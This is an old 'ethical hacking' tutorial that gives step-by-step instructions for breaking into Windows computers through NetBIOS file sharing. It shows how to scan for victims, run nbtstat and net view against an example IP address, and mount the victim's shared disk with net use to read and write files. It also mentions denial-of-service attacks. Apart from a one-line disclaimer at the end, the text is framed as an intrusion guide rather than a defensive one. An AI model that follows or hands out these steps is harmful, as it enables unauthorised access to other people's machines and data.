ETHICAL HACKING PART- 6

WHAT YOU NEED TO HACK

All you need is a Windows based operating system like Windows 98 and Me (but I prefer Windows NT, 2000, XP) and an internet connection.

TYPES OF ATTACKS

We can launch two types of attack on the remote computer having NetBIOS.

1. Reading/Writing to a remote computer system

2. Denial of Service

Searching for a victim

You may manually search for the victims by first using the nbtstat -a ipaddress and then net view \\ipaddress . If at first you don't succeed step to next ip address until you find a suitable ip address. You may also use a port scanner .A port scanner is simply a software that can search for any block of ip address say 192.168.0.1 to 192.168.0.255 for one or more ports. "Orge" is a port scanner that gives NetBIOS names of the remote computer.

Lets Hack -Part 1 Remotely reading/writing to a victiim's computer

Believe it or not but NetBIOS is the easiest method to break into somebody's computer. However there is a condition that must be satisfied before you can hack. The condition is that the victim must have enabled File And Printer Sharing on his computer. If the victim has enabled it , the nbtstat command will display one more NetBIOS name. Now lets us take a example. Suppose you know a ip address that has enabled File And Printer Sharing and let suppose the ip address happens to be 203.195.136.156 .

If you would like to know more about ip address click here . If you don't the ip address where File and Printer Sharing is enabled read "Searching for a victim"

The command that you will use to view the NetBIOS name is

c:\windows>nbtstat -a 203.195.136.156

Let suppose that the output comes out to be

NetBIOS Remote Machine Name Table

Name Type Status
-------------------------------------------------------------------------------------------------
user <00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered


MAC Address = 00-02-44-14-23-E6

The number <20> shows that the victim has enabled the File And Printer Sharing.

NOTE - If you do not get this number there are two possibilities

1. You do not get the number <20> . This shows that the victim has not enabled the File And Printer Sharing .

2. You get "Host Not found" . This shows that the port 139 is closed or the ip address doesn't exists.

Now our next step would be to view the drive or folders the victim is sharing.

We will use command

c:\windows>net view \\203.195.136.156

Let suppose we get the following output

Shared resources at \\203.195.136.156
ComputerNameGoesHere

Share name Type Used as Comment

-----------------------------------------------------------------------------------------------
CDISK Disk

The command completed successfully.

"DISK" shows that the victim is sharing a Disk named as CDISK . You may also get some additional information like

Shared resources at \\203.195.136.156

ComputerNameGoesHere

Share name Type Used as Comment


HP-6L Print

"Print " shows that the victim is sharing a printer named as HP-6L

If we are able to share the victims hard disks or folders or printers we will be able to read write to the folders or hard disks or we may also be able to print anything on a remote printer ! Now let us share the victims computer's hard disk or printer.

Till now we know that there is a computer whose ip address happens to be 203.195.136.156 and on that computer File and printer sharing is enabled and the victim's hard disk 's name is CDISK.

Now we will connect our computer to that hard disk . After we have connected successfully a drive will be created on our computer and on double clicking on it we will be able to view the contents of the drive. If we have connected our newly formed drive to the victim's share name CDISK it means that we our drive will have the same contents as that of the CDISK .


We will use the NET command to do our work .

Let suppose we want to make a drive k: on our computer and connect it to victim's share we will issue the command

c:\windows>net use k: \\203.195.136.156\CDISK

You may replace k letter by any other letter.

If the command is successful we will get the confirmation - The command was completed successfullly

The command was completed successfully

Now just double click on the My Computer icon on your desktop and you will be a happy hacker!

We have just crested a new drive k: . Just double click on it and you will find that you are able to access the remote computer's hard disk.


USE YOUR KNOWLEDGE TO PROTECT NOT TO ATTACK ANY PC OR PERSON !
